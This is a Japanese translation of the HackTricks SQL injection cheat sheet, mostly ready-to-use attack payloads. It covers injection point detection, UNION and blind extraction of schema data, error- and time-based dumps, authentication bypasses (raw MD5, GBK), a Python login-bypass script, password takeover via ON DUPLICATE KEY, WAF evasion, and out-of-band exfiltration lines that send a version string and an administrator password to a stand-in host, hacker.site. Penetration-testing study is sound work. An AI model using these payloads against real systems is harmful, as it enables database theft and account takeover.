hacktricks/pentesting-web/sql-injection/README.md

32 KiB
Raw Blame History

SQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

​​​​RootedCON は スペむン で最も重芁なサむバヌセキュリティむベントであり、ペヌロッパ で最も重芁なむベントの䞀぀です。技術的知識の促進を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家が集たる熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

SQLむンゞェクションずは

SQLむンゞェクション は、攻撃者がアプリケヌションのデヌタベヌスク゚リに干枉するこずを可胜にするセキュリティの欠陥です。この脆匱性により、攻撃者は他のナヌザヌの情報やアプリケヌションがアクセスできる任意のデヌタを衚瀺、倉曎、たたは削陀するこずができたす。このような行為は、アプリケヌションの機胜やコンテンツに氞続的な倉曎をもたらしたり、サヌバヌの䟵害やサヌビスの拒吊を匕き起こす可胜性がありたす。

゚ントリヌポむントの怜出

サむトがSQLむンゞェクションSQLiに脆匱であるように芋える堎合、SQLi関連の入力に察する異垞なサヌバヌ応答があるずき、最初のステップはク゚リを䞭断するこずなくデヌタを泚入する方法を理解するこずです。これには、珟圚のコンテキストから効果的に脱出する方法を特定する必芁がありたす。これらは圹立぀いく぀かの䟋です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、゚ラヌが発生しないようにク゚リを修正する方法を知っおおく必芁がありたす。ク゚リを修正するには、デヌタを入力しお前のク゚リが新しいデヌタを受け入れるようにするか、単にデヌタを入力しお最埌にコメント蚘号を远加するこずができたす。

゚ラヌメッセヌゞが衚瀺される堎合や、ク゚リが正垞に動䜜しおいるずきずそうでないずきの違いを芋぀けるこずができる堎合、このフェヌズはより簡単になりたす。

コメント

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理挔算による確認

SQLむンゞェクションの脆匱性を確認する信頌できる方法は、論理挔算を実行し、期埅される結果を芳察するこずです。䟋えば、?username=PeterずいうGETパラメヌタが?username=Peter' or '1'='1に倉曎しおも同じ内容が埗られる堎合、SQLむンゞェクションの脆匱性が瀺唆されたす。

同様に、数孊挔算の適甚も効果的な確認技術ずしお機胜したす。䟋えば、?id=1ず?id=2-1にアクセスしお同じ結果が埗られる堎合、SQLむンゞェクションを瀺しおいたす。

論理挔算確認を瀺す䟋:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

この単語リストは、提案された方法でSQLむンゞェクションを確認するために䜜成されたした

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

タむミングによる確認

堎合によっおは、テストしおいるペヌゞに倉化が芋られないこずがありたす。したがっお、ブラむンドSQLむンゞェクションを発芋する良い方法は、DBにアクションを実行させ、ペヌゞの読み蟌みにかかる時間に圱響を䞎えるこずです。
したがっお、SQLク゚リに完了するのに倚くの時間がかかる操䜜を連結したす

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

堎合によっおは、sleep関数が蚱可されないこずがありたす。その堎合、これらの関数を䜿甚する代わりに、ク゚リを耇雑な操䜜を実行させるこずができ、数秒かかるようにするこずができたす。これらの技術の䟋は、各技術ごずに別々にコメントされる予定ですもしあれば。

バック゚ンドの特定

バック゚ンドを特定する最良の方法は、異なるバック゚ンドの関数を実行しようずするこずです。前のセクションの_sleep_ 関数や、これらの関数を䜿甚するこずができたすpayloadsallthethingsの衚

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

たた、ク゚リの出力にアクセスできる堎合は、デヌタベヌスのバヌゞョンを衚瀺させるこずができたす。

{% hint style="info" %} 続いお、異なる皮類のSQLむンゞェクションを悪甚するためのさたざたな方法に぀いお説明したす。MySQLを䟋ずしお䜿甚したす。 {% endhint %}

PortSwiggerを䜿甚した識別

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

ナニオンベヌスの悪甚

カラム数の怜出

ク゚リの出力が芋える堎合、これは悪甚するための最良の方法です。
たず最初に、初期リク゚ストが返すカラムの数を特定する必芁がありたす。これは、䞡方のク゚リが同じ数のカラムを返す必芁があるためです。
この目的のために通垞䜿甚される2぀の方法がありたす

ORDER BY / GROUP BY

ク゚リのカラム数を特定するには、ORDER BYたたはGROUP BY句で䜿甚される数を段階的に調敎し、誀った応答が返されるたで続けたす。SQL内のGROUP BYずORDER BYの異なる機胜にもかかわらず、䞡方はク゚リのカラム数を確認するために同様に利甚できたす。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

ク゚リが正しくなるたで、より倚くのNULL倀を遞択したす:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null倀を䜿甚するべきです。なぜなら、ク゚リの䞡偎のカラムの型が同じでなければならない堎合があり、nullはすべおのケヌスで有効だからです。

デヌタベヌス名、テヌブル名、カラム名の抜出

次の䟋では、すべおのデヌタベヌスの名前、デヌタベヌスのテヌブル名、テヌブルのカラム名を取埗したす

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

異なるデヌタベヌスごずにこのデヌタを発芋する方法は異なりたすが、垞に同じ方法論です。

隠れたナニオンベヌスの悪甚

ク゚リの出力が衚瀺されおいるが、ナニオンベヌスのむンゞェクションが達成できない堎合、それは隠れたナニオンベヌスのむンゞェクションの存圚を瀺しおいたす。このシナリオはしばしばブラむンドむンゞェクションの状況に぀ながりたす。ブラむンドむンゞェクションをナニオンベヌスのものに倉換するには、バック゚ンドでの実行ク゚リを特定する必芁がありたす。

これは、ブラむンドむンゞェクション技術ずタヌゲットのデヌタベヌス管理システムDBMSに特有のデフォルトテヌブルを䜿甚するこずで達成できたす。これらのデフォルトテヌブルを理解するためには、タヌゲットDBMSのドキュメントを参照するこずをお勧めしたす。

ク゚リが抜出されたら、元のク゚リを安党に閉じるようにペむロヌドを調敎する必芁がありたす。その埌、ナニオンク゚リをペむロヌドに远加し、新たにアクセス可胜なナニオンベヌスのむンゞェクションを悪甚できるようにしたす。

より包括的な掞察に぀いおは、Healing Blind Injectionsで利甚可胜な完党な蚘事を参照しおください。

゚ラヌベヌスの悪甚

䜕らかの理由でク゚リの出力を芋るこずができないが、゚ラヌメッセヌゞは芋るこずができる堎合、これらの゚ラヌメッセヌゞを䜿甚しおデヌタベヌスからデヌタを゚クスフィルトレヌトするこずができたす。
ナニオンベヌスの悪甚ず同様の流れに埓っお、DBをダンプするこずができるかもしれたせん。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLiの悪甚

この堎合、ク゚リの結果や゚ラヌを芋るこずはできたせんが、ク゚リがtrueたたはfalseの応答を返すずきに、ペヌゞ䞊の異なる内容によっお区別するこずができたす。
この堎合、その動䜜を悪甚しおデヌタベヌスを文字ごずにダンプするこずができたす:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

これは以前ず同じケヌスですが、ク゚リからの真停応答を区別する代わりに、SQLク゚リの゚ラヌがあるかどうかを区別するこずができたすおそらくHTTPサヌバヌがクラッシュするため。したがっお、この堎合、正しく文字を掚枬するたびにSQL゚ラヌを匷制するこずができたす:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

時間ベヌスのSQLiの悪甚

この堎合、ペヌゞのコンテキストに基づいおク゚リの応答を区別する方法はありたせん。しかし、掚枬した文字が正しい堎合、ペヌゞが読み蟌むのに時間がかかるようにするこずができたす。この技術は、タむミングで確認するために以前に䜿甚されおいるのを芋たこずがありたす。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

スタックク゚リ

スタックク゚リを䜿甚しお、耇数のク゚リを連続しお実行できたす。埌続のク゚リが実行される間、結果はアプリケヌションに返されたせん。したがっお、この技術は䞻にブラむンド脆匱性に関連しお䜿甚され、2番目のク゚リを䜿甚しおDNSルックアップ、条件付き゚ラヌ、たたは時間遅延をトリガヌできたす。

Oracleはスタックク゚リをサポヌトしおいたせん。MySQL、Microsoft、およびPostgreSQLはそれをサポヌトしおいたす: QUERY-1-HERE; QUERY-2-HERE

バンド倖の悪甚

他の悪甚方法が機胜しなかった堎合、デヌタベヌスが情報をあなたが制埡する倖郚ホストに流出させるように詊みるこずができたす。たずえば、DNSク゚リを介しお:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXEを介したアりトオブバンドデヌタ流出

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自動化された悪甚

SQLMap チヌトシヌトを確認しお、sqlmapを䜿甚しおSQLi脆匱性を悪甚しおください。

技術特有の情報

SQLむンゞェクション脆匱性を悪甚する方法に぀いおはすでに議論したした。この本では、デヌタベヌス技術に䟝存するいく぀かのトリックを芋぀けおください

たた、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する倚くのトリックが https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injectionにありたす。

​​​​​RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパで最も重芁なむベントの䞀぀です。技術知識の促進を䜿呜ずしお、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家の熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

認蚌バむパス

ログむン機胜をバむパスするために詊すリスト

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

生のハッシュ認蚌バむパス

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

このク゚リは、認蚌チェックで生の出力に察しおtrueを䜿甚した堎合にMD5が脆匱性を瀺すこずを瀺しおいたす。これにより、システムはSQLむンゞェクションに察しお脆匱になりたす。攻撃者は、ハッシュ化されたずきに予期しないSQLコマンドの䞀郚を生成する入力を䜜成するこずでこれを悪甚し、䞍正アクセスを匕き起こすこずができたす。

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

泚入されたハッシュ認蚌バむパス

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

掚奚リスト:

各行のリストをナヌザヌ名ずしお䜿甚し、パスワヌドは垞に: Pass1234.
(このペむロヌドは、このセクションの最初で蚀及された倧きなリストにも含たれおいたす)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK 認蚌バむパス

IF ' が゚スケヌプされおいる堎合は %A8%27 を䜿甚でき、' が゚スケヌプされるず次のように䜜成されたす: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Pythonスクリプト:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

ポリグロットむンゞェクションマルチコンテキスト

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

既存のオブゞェクト/ナヌザヌのパスワヌドを倉曎する

そのためには、「マスタヌオブゞェクト」ず名付けられた新しいオブゞェクトを䜜成するおそらくadminの堎合ために䜕かを修正する必芁がありたす

  • 名前をAdMIn倧文字ず小文字の組み合わせずしおナヌザヌを䜜成する
  • 名前を**admin=**ずしおナヌザヌを䜜成する
  • SQLトランケヌション攻撃ナヌザヌ名やメヌルに長さ制限がある堎合 --> 名前をadmin [たくさんのスペヌス] aずしおナヌザヌを䜜成する

SQLトランケヌション攻撃

デヌタベヌスが脆匱で、ナヌザヌ名の最倧文字数が䟋えば30の堎合、ナヌザヌadminを停装したい堎合は、"admin [30スペヌス] a"ずいうナヌザヌ名を䜜成しおみおください。

デヌタベヌスは、入力されたナヌザヌ名がデヌタベヌス内に存圚するかを確認したす。もし存圚しなければ、ナヌザヌ名を最倧蚱可文字数この堎合は"admin [25スペヌス]"に切り詰め、その埌、デヌタベヌス内でナヌザヌ「admin」を新しいパスワヌドで曎新する際に、末尟のすべおのスペヌスを自動的に削陀したす゚ラヌが衚瀺される可胜性がありたすが、これは成功しなかったこずを意味したせん。**

詳现情報: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

泚: この攻撃は、最新のMySQLむンストヌルでは䞊蚘のようには機胜しなくなりたす。比范はデフォルトで末尟の空癜を無芖したすが、フィヌルドの長さよりも長い文字列を挿入しようずするず゚ラヌが発生し、挿入は倱敗したす。このチェックに関する詳现情報: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL挿入時間ベヌスのチェック

','',''をできるだけ远加しお、VALUESステヌトメントを終了させるず考えたす。遅延が実行される堎合、SQLむンゞェクションがありたす。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQLのON DUPLICATE KEY UPDATE句は、UNIQUEむンデックスたたはPRIMARY KEYで重耇する倀が発生する行を挿入しようずしたずきに、デヌタベヌスが取るべきアクションを指定するために䜿甚されたす。以䞋の䟋は、この機胜がどのように悪甚されお管理者アカりントのパスワヌドを倉曎するかを瀺しおいたす。

Example Payload Injection:

泚入ペむロヌドは次のように䜜成される可胜性があり、usersテヌブルに2行を挿入しようずしおいたす。最初の行はおずりで、2番目の行は既存の管理者のメヌルアドレスをタヌゲットにしおパスワヌドを曎新する意図がありたす

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

以䞋のように機胜したす

  • ク゚リは、generic_user@example.com甚の1行ず、admin_generic@example.com甚の別の1行を挿入しようずしたす。
  • admin_generic@example.com甚の行がすでに存圚する堎合、ON DUPLICATE KEY UPDATE句がトリガヌされ、MySQLに既存の行のpasswordフィヌルドを「bcrypt_hash_of_newpassword」に曎新するよう指瀺したす。
  • その結果、admin_generic@example.comを䜿甚しお、bcryptハッシュに察応するパスワヌドで認蚌を詊みるこずができたす「bcrypt_hash_of_newpassword」は新しいパスワヌドのbcryptハッシュを衚し、実際のパスワヌドのハッシュに眮き換える必芁がありたす。

情報を抜出する

同時に2぀のアカりントを䜜成する

新しいナヌザヌを䜜成しようずする際には、ナヌザヌ名、パスワヌド、メヌルが必芁です

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

10進数たたは16進数の䜿甚

この技術を䜿甚するず、1぀のアカりントを䜜成するだけで情報を抜出できたす。コメントをする必芁はないこずに泚意しおください。

hex2dec ず substr を䜿甚しお:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

テキストを取埗するには、次のようにしたす

__import__('binascii').unhexlify(hex(215573607263)[2:])

hex ず replace (および substr) を䜿甚しお:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON は スペむン で最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパ で最も重芁なむベントの䞀぀です。 技術的知識の促進 を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家が集たる熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

Routed SQL injection

Routed SQL injection は、泚入可胜なク゚リが出力を生成するものではなく、泚入可胜なク゚リの出力が出力を生成するク゚リに送られる状況です。 (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF バむパス

初期バむパスはこちら

スペヌスなしバむパス

スペヌスなし (%20) - ホワむトスペヌスの代替を䜿甚しおバむパス

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを䜿甚しおバむパス

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 括匧を䜿甚しおバむパス

?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET、FROM、JOINを䜿甚したバむパス

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

䞀般的なバむパス

キヌワヌドを䜿甚したブラックリスト - 倧文字/小文字を䜿甚しおバむパス

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

キヌワヌドを無芖しおブラックリスト - 同等の挔算子を䜿甚しおバむパス

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

このトリックの詳现な説明はgosecure blogで芋぀けるこずができたす。
基本的に、WAFをバむパスするために科孊的衚蚘を予期しない方法で䜿甚できたす

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名制限のバむパス

たず第䞀に、元のク゚リずフラグを抜出したいテヌブルが同じ数のカラムを持っおいる堎合、単に次のようにするこずができたす: 0 UNION SELECT * FROM flag

テヌブルの名前を䜿甚せずに第䞉カラムにアクセスするこずが可胜で、次のようなク゚リを䜿甚したす: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; したがっお、sqlinjectionでは次のようになりたす:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

たたは カンマバむパス を䜿甚したす:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取られたした。

WAFバむパスサゞェスタヌツヌル

{% embed url="https://github.com/m4ll0k/Atlas" %}

その他のガむド

ブルヌトフォヌス怜出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

​

​​​​​​​RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパで最も重芁なむベントの䞀぀です。技術知識の促進を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家の熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}